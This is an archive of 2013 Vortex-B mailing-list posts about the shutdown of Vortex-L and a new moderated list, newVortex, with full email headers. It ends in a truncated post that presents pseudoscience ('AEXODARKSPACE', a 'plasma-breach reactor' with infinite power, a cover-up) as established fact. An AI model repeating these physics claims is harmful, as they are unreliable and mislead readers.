List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 924 I *like* Vortex-B. It's low traffic, and it's kinda like Breakfast Club for Vortex detainees, which makes me feel sort of young and cool even though the reference dates me and proves I'm neither. - R. -----Original Message----- From: Jojo Jaro [mailto:jthao1@hotmail.com] Sent: Thursday, January 10, 2013 4:18 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:newVortex Good luck with your list, my friend. Maybe now, off-topic posts will get diverted to your list instead of jamming up Vortex-L. You should have devoted much of your energy to this instead of your endless spins and tiresome long essays. It would have solved the problem before it happened. I can see that Jed was up to his usual thing of posting off-topic posts again. Maybe you can convince Jed to move to your list and leave the science in Vortex-L. While you're at it, convince Peter Gluck and Frank Znidarsic to also go to your list with their tactless self promotion of their blog and books in Vortex-L. Also, why is it that even in the end, you still find the need to spin and lie. David did not convince me to "stop certain kinds of activity." He convinced me to stop, period. And stop I did. Why do you have to spin the truth with comments like "I have no idea if that would have held." Of course it held. I stopped responding to you for 24 hours despite your continued insults. Why do you find it necessary to even attempt a spin of this truth? What purpose does this spin serve you? even now? Why do you have this compulsive need to spin things with guile? Jojo ----- Original Message ----- From: "Abd ul-Rahman Lomax" To: Sent: Friday, January 11, 2013 9:17 AM Subject: [VoB]:newVortex > Okay, Village of the Damned, listen up! > > I expect this to be my only post to VortexB. I do not participate in fora > where there is no person who takes responsibility for the safety of the > space. I do not engage in useless flame wars, I *leave them*, unless there > is a critical interest to defend. I have no critical interest here. Nor, > for that matter, do I any more have a critical interest to defend on > Vortex. > > I was subscribed here without my permission, and Bill knows that. The > unsubscription process does not work for me, but eventually, that will be > fixed -- or I'll be complaining to eskimo. > > The *only reason* I'm posting this is to inform vortexB members of > newVortex, and of my intentions there. When it became apparent that nobody > was mniding the store at Vortex, I started a new mailing list, and a > number of Vortex members thought that we could do this better. Bill has > blamed the mess on Vortex on two members, but, in fact, it was his absence > and the lack of any response to multiple queries by email and by phone, > that made a minor problem, that could have been handled in a few minutes, > into a big mess. > > Bill has a theory regarding "trolls," with what he thinks is the only sane > response, DNFTT. However, Bill is a "flamer," he's acknowledged that. > Flamers are often called trolls, hence his confusion. DNFTT *does not work > with trolls,* unless it is a weak and ineffective troll. A real troll will > simply escalate, through whatever means are available, until the > community -- or the target -- starts responding. > > Bill has claimed that, in the good old days -- 1994 -- the community would > ignore a troll for months and then eventually he'd ban the fellow. That > wasn't happening, of course, with the recent mess, and it hadn't been > happening as long as I'd been on Vortex (since 2009). *Plenty* of the > community was responding. > > I have a suspicion that Bill's memory is defective, that the good old days > never were. Yes, there are people who are ignored. Trolls and others. > > Bill's sentiments are anachronistic. Bill had rules (such as "no > sneering"). They were ignored, and, looking back, they had been ignored > for a long time. This didn't just happen in December. Nobody was watching, > but maybe nobody complained. > > Okay, an *owner* doesn't need to always be watching, but an owner has the > responsibility to be responsive to complaints. And if the owner cannot > handle them himself, he has the responsibility to find someone who can. In > any case, contrary to what Bill has stated, the problem was the lack of > responsive moderators. So we have fixed that. > > http://tech.groups.yahoo.com/group/newvortex/ > > We have gained, in a few days, with little publicity, 23 subscribers and > three moderators. The present moderators are > > Abd Lomax > Steven Johnson > David Roberson > > The list is set so that the default is "unmoderated" for all members, > except new subscriptions start as "moderated," so first posts must usually > be approved. (When I see a subscription address known to me from Vortex as > a regular member, I generally take them off moderation immediately.) > > Any moderator can approve posts, and any moderator can take members off of > or put members on moderation. We have a separate mailing list to be used > for moderator discussion, if needed. I have asked the moderators not to > ban anyone (Other than spammers), unless the person has been (1) warned > and (2) when on moderation, deluged the moderators with unacceptable > posts. All bans will be discussed and a matter of consensus. (If there is > any moderator willing to moderate a member's posts, there is no need to > ban the member; email filters can be used so that other moderators, not > willing, don't have to see them.) > > Hence my post to this list. Some subscribers here have apparently been > banned from posting to Vortex. We are not going to judge that. > > The rules for newVortex, initially, are the same rules as for Vortex. > However, because we don't normally ban, and because Vortex was actually > started as a kind of skeptic-free zone, a possible difference is that we > will not exclude skeptics, and not even pseudoskeptics. But we will insist > on "no sneering" and on civil discussion. I do not consider moderation to > be "punitive." It can be and should be supportive. > > You are all welcome to join newVortex. Mary Yugo already subscribed -- I > saw the subscription and wrote to "her." I saw no reason to expect a > problem, and removed moderation. If there is a problem, well, moderation > can come back. I expect ultimately to have more moderators. It's an easy > job, usually, there are only occasionally some difficult decisions, and we > will discuss those. The point of having many moderators is to have > different points of view represented, in addition to making the burden on > individuals small. > > I have started newVortex as a volunteer trustee for the Vortex community. > We will have at least one other owner. This was originally offered to Bill > (when newVortex was announced on Vortex, before Bill shut Vortex down). > Now, given Bill's further comments, I'd want to discuss it. It's still > possible. > > If anyone was following the events leading up to the shutdown, David > Roberson had convinced the "other fellow" to stop certain kinds of > activity. I have no idea if that would have held. Nevertheless, that kind > of effort, to obtain voluntary cooperation, led me to offer moderation to > David. After some thought, he accepted. > > Okay, final words. I might not see responses here. As with vortex, anyone > may write to me personally. > > From vortexb-l-request@eskimo.com Fri Jan 11 22:03:07 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0C636YX028350; Fri, 11 Jan 2013 22:03:06 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0C634TD028340; Fri, 11 Jan 2013 22:03:04 -0800 Resent-Date: Fri, 11 Jan 2013 22:03:04 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=STJrlORaQZ6k/kTqxYVQ52WpZVXIIgsIE/VXs9oIrqk=; b=ekxFJLrwHkjNJRJYiOPVGD6xiR0nZBJKIFQwINDp64LFy1O8yBWobDBSMy46V9vQpY 6o7VoDrrt7IfbRt79HW+sdeD1RDf0g74uaFZZeHQQ/pxaz7UstriPCEwUO1Rq/YRupa3 IQn0Pqq2K9DwZ2i4i6lMK6CCEykwEymfdAu4ltcRo16WscuQq0Rwz2bxB3t3BAV6suzb jMN01hOR6ElsjJ+P3Js86ip7PG4p+Gg1ZY3KQTwSVEP/Q9QxwAqXxCp2AINSQEeJx1Bs Wa5aY33ogpMA0sa4G+Y3F7pZuQ6VvrN+agg23MdTPI3sDb8ZyOOpsVaXpRW//iPpMBw1 NSzQ== MIME-Version: 1.0 In-Reply-To: <006301cdf058$43085420$c918fc60$@com> References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> <006301cdf058$43085420$c918fc60$@com> Date: Sat, 12 Jan 2013 01:03:04 -0500 Message-ID: Subject: Re: [VoB]:newVortex From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4684 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: RO X-Status: X-Keywords: X-UID: 925 On Fri, Jan 11, 2013 at 7:03 PM, Rick Monteverde wrote: > I *like* Vortex-B. It's low traffic, and it's kinda like Breakfast Club for > Vortex detainees, which makes me feel sort of young and cool even though the > reference dates me and proves I'm neither. One who body surfs in the land of Kona cafe, Spam upside down cake and Maui Wowie will always be kewl in my book. From vortexb-l-request@eskimo.com Fri Jan 18 11:33:25 2013 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id r0IJXOiJ006485; Fri, 18 Jan 2013 11:33:24 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id r0IJXLrQ006468; Fri, 18 Jan 2013 11:33:21 -0800 Resent-Date: Fri, 18 Jan 2013 11:33:21 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Message-ID: <50F9A375.4050307@resist.ca> Date: Fri, 18 Jan 2013 14:33:09 -0500 From: grok User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:15.0) Gecko/20120907 Thunderbird/15.0.1 MIME-Version: 1.0 To: vortexb-l@eskimo.com Subject: Re: [VoB]:newVortex References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> In-Reply-To: <201301110114.r0B1EWEY030800@ultra5.eskimo.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4685 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 926 On 13/01/10 20:17, Abd ul-Rahman Lomax wrote: > ... > Hence my post to this list. Some subscribers here have apparently been > banned from posting to Vortex. We are not going to judge that. > > The rules for newVortex, initially, are the same rules as for Vortex. > However, because we don't normally ban, and because Vortex was > actually started as a kind of skeptic-free zone, a possible difference > is that we will not exclude skeptics, and not even pseudoskeptics. But > we will insist on "no sneering" and on civil discussion. I do not > consider moderation to be "punitive." It can be and should be supportive. > > You are all welcome to join newVortex. Mary Yugo already subscribed -- > I saw the subscription and wrote to "her." I saw no reason to expect a > problem, and removed moderation. If there is a problem, well, > moderation can come back. I expect ultimately to have more moderators. > It's an easy job, usually, there are only occasionally some difficult > decisions, and we will discuss those. The point of having many > moderators is to have different points of view represented, in > addition to making the burden on individuals small. > > I have started newVortex as a volunteer trustee for the Vortex > community. We will have at least one other owner. This was originally > offered to Bill (when newVortex was announced on Vortex, before Bill > shut Vortex down). Now, given Bill's further comments, I'd want to > discuss it. It's still possible. > > If anyone was following the events leading up to the shutdown, David > Roberson had convinced the "other fellow" to stop certain kinds of > activity. I have no idea if that would have held. Nevertheless, that > kind of effort, to obtain voluntary cooperation, led me to offer > moderation to David. After some thought, he accepted. > > Okay, final words. I might not see responses here. As with vortex, > anyone may write to me personally. With all the information available on the Internet, I wasn't much bothered at being borfed from Vortex-L by people who escalate with you -- and then turn around and make you the sole guilty party... Hell -- anyone can find OU info elsewhere, if they have the time. What would an eList full of 'skeptix' (to put it nicely) have to offer over the info being discussed/posted by the essentially pro-capitalist/military types running Vortex-L..? -- grok. From vortexb-l-request@eskimo.com Fri Jan 18 15:54:27 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0INsPtO011528; Fri, 18 Jan 2013 15:54:25 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0INsOgA011518; Fri, 18 Jan 2013 15:54:24 -0800 Resent-Date: Fri, 18 Jan 2013 15:54:24 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-EIP: [xVEH0TvP4UMrzJiIIIciAROrJh10jZ2Fm+hx4koVYCg=] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_b959d5e0-0225-45f7-8fae-65b9f9f67682_" From: Harbach Jak To: Subject: RE: [VoB]:newVortex Date: Fri, 18 Jan 2013 17:54:24 -0600 Importance: Normal In-Reply-To: <50F9A375.4050307@resist.ca> References: <201301110114.r0B1EWEY030800@ultra5.eskimo.com>,<50F9A375.4050307@resist.ca> MIME-Version: 1.0 X-OriginalArrivalTime: 18 Jan 2013 23:54:24.0892 (UTC) FILETIME=[24DE13C0:01CDF5D7] Resent-Message-ID: <3kSsKB.A.5zC.wCe-QB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4686 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 927 --_b959d5e0-0225-45f7-8fae-65b9f9f67682_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Yes: How do we (re)join? RE: the essentially pro-capitalist/military types= =20 > running Vortex-L..? Ha! YOU GOT THAN ^ ^ ^ ^ RIGHT! Over my last posting @ yesterday=2C they NOT ONLY canceled 'moi' from the Vortex-l site=3B . . . hey-hey=3B they wer= e actually able TO CONFISCATE MY SITE and BLOCK ME FROM MY OWN e-mail address! =20 ?Slick No?~:) C'est la vie. . . Jack Harbach O'Sullivan =20 > Date: Fri=2C 18 Jan 2013 14:33:09 -0500 > From: grok@resist.ca > To: vortexb-l@eskimo.com > Subject: Re: [VoB]:newVortex >=20 > On 13/01/10 20:17=2C Abd ul-Rahman Lomax wrote: > > ... > > Hence my post to this list. Some subscribers here have apparently been= =20 > > banned from posting to Vortex. We are not going to judge that. > > > > The rules for newVortex=2C initially=2C are the same rules as for Vorte= x.=20 > > However=2C because we don't normally ban=2C and because Vortex was=20 > > actually started as a kind of skeptic-free zone=2C a possible differenc= e=20 > > is that we will not exclude skeptics=2C and not even pseudoskeptics. Bu= t=20 > > we will insist on "no sneering" and on civil discussion. I do not=20 > > consider moderation to be "punitive." It can be and should be supportiv= e. > > > > You are all welcome to join newVortex. Mary Yugo already subscribed --= =20 > > I saw the subscription and wrote to "her." I saw no reason to expect a= =20 > > problem=2C and removed moderation. If there is a problem=2C well=2C=20 > > moderation can come back. I expect ultimately to have more moderators.= =20 > > It's an easy job=2C usually=2C there are only occasionally some difficu= lt=20 > > decisions=2C and we will discuss those. The point of having many=20 > > moderators is to have different points of view represented=2C in=20 > > addition to making the burden on individuals small. > > > > I have started newVortex as a volunteer trustee for the Vortex=20 > > community. We will have at least one other owner. This was originally=20 > > offered to Bill (when newVortex was announced on Vortex=2C before Bill= =20 > > shut Vortex down). Now=2C given Bill's further comments=2C I'd want to= =20 > > discuss it. It's still possible. > > > > If anyone was following the events leading up to the shutdown=2C David= =20 > > Roberson had convinced the "other fellow" to stop certain kinds of=20 > > activity. I have no idea if that would have held. Nevertheless=2C that= =20 > > kind of effort=2C to obtain voluntary cooperation=2C led me to offer=20 > > moderation to David. After some thought=2C he accepted. > > > > Okay=2C final words. I might not see responses here. As with vortex=2C= =20 > > anyone may write to me personally. >=20 > With all the information available on the Internet=2C I wasn't much=20 > bothered at being borfed from Vortex-L by people who escalate with you=20 > -- and then turn around and make you the sole guilty party... Hell --=20 > anyone can find OU info elsewhere=2C if they have the time. What would an= =20 > eList full of 'skeptix' (to put it nicely) have to offer over the info=20 > being discussed/posted by the essentially pro-capitalist/military types=20 > running Vortex-L..? >=20 >=20 > -- grok. >=20 >=20 >=20 = --_b959d5e0-0225-45f7-8fae-65b9f9f67682_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Yes: =3B How do we (re)join? RE: the essentially pro-capitalist/militar= y types
>=3B running Vortex-L..?
Ha! =3B YOU GOT THAN ^ ^ ^ ^ = RIGHT! =3B Over my last posting =3B@<=3Balset9tesla@hotmail.com>=3B yesterday=2C they
NOT ONLY canceled 'moi' from the Vortex-l site=3B . . . hey-hey=3B they wer= e actually able
TO CONFISCATE MY SITE and =3BBLOCK ME FROM MY OWN =3Be-mail address= !
 =3B
?Slick No?~:) C'est la vie. . . Jack Harbach O'Sullivan
 =3B
>=3B Date: Fri=2C 18 Jan 2013 14:33:0= 9 -0500
>=3B From: grok@resist.ca
>=3B To: vortexb-l@eskimo.com>=3B Subject: Re: [VoB]:newVortex
>=3B
>=3B On 13/01/10 20:1= 7=2C Abd ul-Rahman Lomax wrote:
>=3B >=3B ...
>=3B >=3B Hence= my post to this list. Some subscribers here have apparently been
>= =3B >=3B banned from posting to Vortex. We are not going to judge that.>=3B >=3B
>=3B >=3B The rules for newVortex=2C initially=2C ar= e the same rules as for Vortex.
>=3B >=3B However=2C because we don= 't normally ban=2C and because Vortex was
>=3B >=3B actually starte= d as a kind of skeptic-free zone=2C a possible difference
>=3B >=3B= is that we will not exclude skeptics=2C and not even pseudoskeptics. But <= BR>>=3B >=3B we will insist on "no sneering" and on civil discussion. I= do not
>=3B >=3B consider moderation to be "punitive." It can be a= nd should be supportive.
>=3B >=3B
>=3B >=3B You are all welc= ome to join newVortex. Mary Yugo already subscribed --
>=3B >=3B I = saw the subscription and wrote to "her." I saw no reason to expect a
&g= t=3B >=3B problem=2C and removed moderation. If there is a problem=2C wel= l=2C
>=3B >=3B moderation can come back. I expect ultimately to hav= e more moderators.
>=3B >=3B It's an easy job=2C usually=2C there a= re only occasionally some difficult
>=3B >=3B decisions=2C and we w= ill discuss those. The point of having many
>=3B >=3B moderators is= to have different points of view represented=2C in
>=3B >=3B addit= ion to making the burden on individuals small.
>=3B >=3B
>=3B &= gt=3B I have started newVortex as a volunteer trustee for the Vortex
&g= t=3B >=3B community. We will have at least one other owner. This was orig= inally
>=3B >=3B offered to Bill (when newVortex was announced on V= ortex=2C before Bill
>=3B >=3B shut Vortex down). Now=2C given Bill= 's further comments=2C I'd want to
>=3B >=3B discuss it. It's still= possible.
>=3B >=3B
>=3B >=3B If anyone was following the ev= ents leading up to the shutdown=2C David
>=3B >=3B Roberson had con= vinced the "other fellow" to stop certain kinds of
>=3B >=3B activi= ty. I have no idea if that would have held. Nevertheless=2C that
>=3B= >=3B kind of effort=2C to obtain voluntary cooperation=2C led me to offe= r
>=3B >=3B moderation to David. After some thought=2C he accepted.=
>=3B >=3B
>=3B >=3B Okay=2C final words. I might not see res= ponses here. As with vortex=2C
>=3B >=3B anyone may write to me per= sonally.
>=3B
>=3B With all the information available on the Int= ernet=2C I wasn't much
>=3B bothered at being borfed from Vortex-L by= people who escalate with you
>=3B -- and then turn around and make y= ou the sole guilty party... Hell --
>=3B anyone can find OU info else= where=2C if they have the time. What would an
>=3B eList full of 'ske= ptix' (to put it nicely) have to offer over the info
>=3B being discu= ssed/posted by the essentially pro-capitalist/military types
>=3B run= ning Vortex-L..?
>=3B
>=3B
>=3B -- grok.
>=3B
>= =3B
>=3B
= --_b959d5e0-0225-45f7-8fae-65b9f9f67682_-- From vortexb-l-request@eskimo.com Fri Jan 18 16:23:27 2013 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id r0J0NQSY017567; Fri, 18 Jan 2013 16:23:26 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id r0J0NQkP017552; Fri, 18 Jan 2013 16:23:26 -0800 Resent-Date: Fri, 18 Jan 2013 16:23:25 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-EIP: [rSeR1uMcoAPbb2xX02Az/blQog+yjtfB4SW71Z8xIJc=] X-Originating-Email: [ja.harchim@hotmail.com] Message-ID: Content-Type: multipart/alternative; boundary="_573e5b77-df57-483d-bd1f-f314e1dc1c8f_" From: Harbach Jak To: Date: Fri, 18 Jan 2013 18:23:25 -0600 Importance: Normal In-Reply-To: References: <201301132159.r0DLxLML006476@ultra5.eskimo.com>,,,,,,,,,,,,,,,,,,,,,, MIME-Version: 1.0 X-OriginalArrivalTime: 19 Jan 2013 00:23:25.0257 (UTC) FILETIME=[3234B390:01CDF5DB] Resent-Message-ID: <8asLfB.A.BSE.9de-QB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4687 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:RE: *SOURCE-AEXODARKSPACE dramatic FOOTPRINT-here in illustrated:"FACT"of TRANDIMENSIONAL-Singularity-AEXODARKSPACE PHYSICS is ESTABLISHED aka ENGRAVED IN STONE~ Status: O X-Status: X-Keywords: X-UID: 928 --_573e5b77-df57-483d-bd1f-f314e1dc1c8f_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable *forgive me for just wanting to 'nail' this thing to the 'door of orthodoxy= ' in the scientific 'FIRMAMENT=2C' so to speak* =20 ~SOURCE- AEXODARKSPACE dramatic FOOTPRINT is HERE-IN ILLUSTRATED: The FACT = of TRANDIMENSIONAL-Singularty-AEXODARKSPACE PHYSICS is ESTABLISHED aka ENGR= AVED IN STONE~ =20 =20 The TRUE DISCOVERY is parallel-adjacent- SOURCE-AEXODARKSPACE Gyro-Toroidal= BACK-GROUND HYPER-EM-GRAVIONIC FIELD. =20 * * *And the demonstrated-dramatic DOUBLE-STACKED BLEED THROUGH TOROID-EM-F= IELD that the video so ELEGANTLY captures-demonstrates is the very OBVIOUS SOURCE that OPENS THE BLEED-THROUGH Singularities of ALL G= ALACTIC-HUB-INGRESS PHENOMENON as well as all PROTON-micro-singularity MASS within SPACE-TIME-NORMAL. =20 =20 AS THE PRIMER VIDEO DEPICTS GRAFICALLY SO EXCELLENTLY: And that AEXODARKSPA= CE-Double-Stacked-AEXODARKSPACE Gyro-Toroidal-hyper-EM-Gravionic FIELD is illustratedly-reflected BY TRANSD= IMENSIONAL CROSS-SPECTRUM FIELD VICOSITY to MIRROR itself in THE quasi-glac= tic/& nebula CONFIGURATION on OUR SPACE-TIME-NORMAL MIRROR-SIDE of the HOUR= -GLASS-SINGULARITY which is CREATED FROM SAID AEXODARKSPACE GYRO-TOROIDAL '= Double-Bagel' MAELSTROM. =20 SILENCE IS NOT GOLDEN and VORTEX(methinks) is DEDICATED to SCIENTIFIC DISC= OVERY that requires that 'intellectual property' NOT be intimidated=2C nor ridiculed=2C nor=20 squelched etc. etc. etc. . . . we also call it=3B THE FIRST AMENDMENT to th= e CONSTITUTION of THESE UNITED STATES OF AMERICAN. =20 And 'Voltaire' considered that Sacred Principal to be formostly defended in= the pursuit of FREE NATIONS=3B and 'that defense' worthy to be made 'to th= e Death=3B' and as also JOHN PAUL JONES aptly declared=2C "GIVE ME LIBERTY = OR GIVE ME DEATH=3B" and also which Sacred Point was made most BRILLIANTLY approx. 2013 yrs back by a notible authority on the matter= of 'LIBERTY & PHYSICS & Transdimensional TRUTH' at Golgotha=2C Nation of Y= srael. . . =20 PER the PRIMER VIDEO presentation=3B PAUL HARVEY: The 'Rest' of the Story~= :) ~This 'video' pretty well 'nailed it' just TURN OFF THE LAME NARRATION! = ~:) ___________________________________________________________________________= _____________________ So-called "confirmation bias" must have had some adaptive value. I wonder = what it was or perhaps even is? (I had no problem believing that the videos were real and not fake=2C thoug= h=2C of course=2C some are "constructed." Not a problem.) Bill gets it right. The "scientific" explorer works as hard as possible to = *refute* the new discovery=2C and documents that work meticulously. Because= the *mind* -- which very much wants to be "successful=2C" and we love to b= e "right" -- will forget all contrary evidence and only remember confirmati= on. The human mind is a pattern-recognition machine=2C a very efficient and pow= erful one. We can readily find patterns in random data. For a scientific th= eory=2C we must do more than see a pattern. We must then=2C from the patter= n we have detected=2C make predictions that can test the pattern=2C and we = must keep thinking about how we might be wrong=2C rather than about how we = might be right.____________________________________________________________= _______________________________________________ =20 * * * PRIMER FIELDS CORNY DODGE of MISINFORMATION/ Space-Time-Conquered and= Shaking Current Theories to the Core! =20 * * *VORTEX MES AMI ! ! !~:) !Spit on the monitor=3B I'm laughing out loud = again!~:{D>typical of Tyson: Neil De Grasse Tyson & NASA: tell the 'story'= only INSIDE-OUT & BACKWARD & somewhat out've the sides of their mouths: THE IRONY & HYPERBOLE' HERE IS MASSIVE &= EVEN CORNY! ! ! =20 HOWEVER IF YOU KNOW THE WHOLE AEXO-DARK-SPACE 'Causation' of the 'EM-Bowel = shaped 'PRIMER FIELDS' and it's AEXODARKSPACE-SOURCE=3B then the GLARINGLY = OBVIOUS QUESTION: =20 ?IF MASSIVE BOWELS magnetic fields are determining & shaping the relative g= ossimer-density of polarized EM-Plasma there in Space-Time-Normal: ? WHY TH= EN IN THE INVERSE does this MISLEADING you-tube PRIMER FIELDS PRESENTATION = beg to mislead us SO DISENGENUOUSLY? ? ? And the answering question is: =20 =20 ?HEY OUT THERE IN SPACE WHERE ARE YOUR MASSIVE BOWELS?. . . DUH. . . . . Th= e answer is 'Parallel-Parent Adjacent AexoDarkSpace. And they purport to D= ISPROVE AexoDarkSpace/Black Holes(massively observed) and and ALL OF THE UB= IQUITOUS Parallel & UniverseSURROUNDING AEXO-DARK-ENERGY INFLUENCE such as = ACCELERATING GALAXIES that GAMMA RAY BURSTER and are SWALLOWED by SURROUNDING Parent-Adjacent AEXODARK= SPACE?!!? Oops=3B forgot that one huh!? =20 ?Can anybody say=2C "HIDING THE TECHNOLOGY. . . . much. . . duh. . . and PO= ORLY at that. . .=20 =20 THE OBVIOUS ANSWER is that the SINGULARITIES at the centre of those SPACIAL= GALACTIC BODIES &/or NEBULA are the=20 EYEs of MASSIVELY SPEED-DENSE PARALLEL GYRO-TOROIDAL AexoDarkSpacial BODIES= (gyro-toroidal maelstroms) that OPEN THE SINGULARITIES and CONFIGURE THE CHARACTERISTIC 'INVERSE-BOWEL LIKE' FIELD CONFIGURATION via Trans-Spect= rum Parallel Field Viscosity' on OUR SIDE OF THE 'EYE'-SINGULARITY. . =20 So once you know how to 'translate' the PRIMER FIELD-quasi-disengenuous pre= sentation then=3B the DISINFORMATION that RELATIVELY-GOSSIMER MATTER 'supp= osedly' creates these MONSTER MASS EM-PLASMA 'Bowel' CONFIGURATING so-called PRIMER FIELDS is backward & bogus= . And then the 'cipher' is to TRANSLATE their 'hyperbolic-dodge' explanati= on INSIDE OUT & BACKWARD and the REAL PICTURE to the PLASMA-BREACH AEXODARKSPACE REACTORS that we are now employing becom= es obvious. =20 SILENCE IS NOT GOLDEN but is rather PHONEY=2C & CHEAP=2C & WEAK=2C & COWARD= LY. . . BUT this WAS funny and so LEGENDARILY PREDICTABLE of them: a PRESENTATION = of 'dodge-debunking' in the guise of the GREAT DISCOVERY which was actually= the ANTI-DISCOVERY MALARKIENSIS disinformation campaign. These guys never = seem to change their stripes. . . =20 * * *VORTEX: WHAT THIS REALLY MEANS is that the TRUTH IS NAILED and the MAS= SIVE-MISINFORMATION CAMPAIGN spins an ALTERNATIVE SONG for other scientists= NOT to be able to effectively use the DATA. =20 The DRAMATIC PLASMA-BREACH REACTOR advances will 'soon' appear public=3B BU= T the socalled PRIMER FIELD 'explanation' is INSIDE OUT & BACKWARDS & LAME.= . . =20 AND BELOW is the TRUTH: =20 =20 ___________________________________________________________________________= _______________________________ =20 * * *SPACE-TIME CONQUERED* * * =20 ~The PLASMA BREACH (Bagel-Body) Gyro-Toroidal REACTOR~Ha=2C this thing look= s like 'Tony Starks' ARK-REACTOR. . . methinks that Steve Alten & Stan Lee = READ VORTEX! ! !~=3B) ?Does Y-Not Kratsberger work for ya?~:) =20 ?Can anybody say=2C "HIDING THE TECHNOLOGY. . . . much. . . duh. . . and PO= ORLY at that. . .=20 =20 * * *CHEER UP VORTEX! WE MADE HISTORY! OUR 'CONVERSATIONS' 'finally-duh' = BROUGHT THESE NEW TECHNOLOGIES TO LIGHT! . . . cool no!?! ~:) Ha. . . it's = about time. . . duh~=3B) We FORCED THEM to FAKE-IT and the 'PRIMER FIELD P= RESENTION looked SOMEWHAT RUSHED. . . da ya think!~=3B) =20 ~This 'video' pretty well nailed it just TURN OFF THE LAME NARRATION! ~:) =20 NOTE RE: CERN-HADRON defacto Plasma-Breach-Reactor design: search: Jake Lev= Harbach(me)//General Science Journal REACTOR DESIGN: 'Think' plasma disk between Mag-Bowl configuation. In th= at disk-plane place BOSE-EINSTEIN(bagel body) SUPERCONDUCTOR STATIONARY RING. =20 THEN sleeve this ring with a Quasi-Tesla-coil 'independently firing' HIGH D= ENSITY-EM CAROSEL RING ARRAY.(each 'ring' in array fired by its own separat= e HIGH-DENSITY CAPACITOR. This also engineered to FIRE in REVERSE ORDER to= SHUT DOWN-reverse(in emergency especially) the REACTOR. =20 THEN flip the magnetic 'bowels' they control the POINT-LEAD incoming/ingres= s AEXO-DARK-SPACE plasma. =20 THE CAROSEL RING ARRAY FIRING/FREQUENCY is then initiated and the BOSE-EINS= TEIN BAGEL-TOROIDAL-FIELD SUPER-CONDUCTOR ring BUILDS THE QUANTUM FIELD d= ensity to initiate a PARALLEL AEXO-DARK-SPACE adjacent Gyro-Toroidal field.= This is called TRANSPECTRUM/TRANSDIMENSIONAL FIELD VISCOSITY. Obviously w= e have to apply a fairly MASSIVE HIGH-DENSITY EM input to ACHIEVE TRANSPECT= RUM FIELD VISCOSITY. =20 THUS THE parallel AexoDarkSpace gyro toroid does the 'heavy lifting' and 'B= EGINS' to open the EINSTEIN-ROSEN GATE between the BAGEL-TOROID-EYE of our = reactor and our 'kickstarted' AexoDarkSpace HYPER-SPEED-DENSE/HYPERGRAVIONI= C ingress field. =20 CRUCIAL and the mere BARE-BEGINNING of the 'OPEN BREACH STATUS' our REACTOR= SHUT DOWN INPUT PHASE and INVERTS into being the INDUCED HIGH-DENSITY EM F= IELD-DRAG(infinite power havesting self-sustaining phase). =20 THEN: If the PLASMA-BREACH 'eye-gate' Einstein-Rosen connection reaches FU= LL-OPEN EINSTEIN-ROSEN CONNECTION outside of a vaccum then SPONTANEOUS HYDR= OGEN-CREATION AND FUSION WILL COMMENCE. . . really not good. HENSE the REVE= RSE Carosel Ring Array High-Density Capacitor reverse order firing sequence= to CHOKE DOWN the Plasma-Breach to mere INCIPIENT-INGRESS LEVEL OF CONSTAN= T OPERATION or FULL SHUT DOWN. =20 =20 TRICKY: The AXIAL FIELD INGRESS field lobe(s) of this 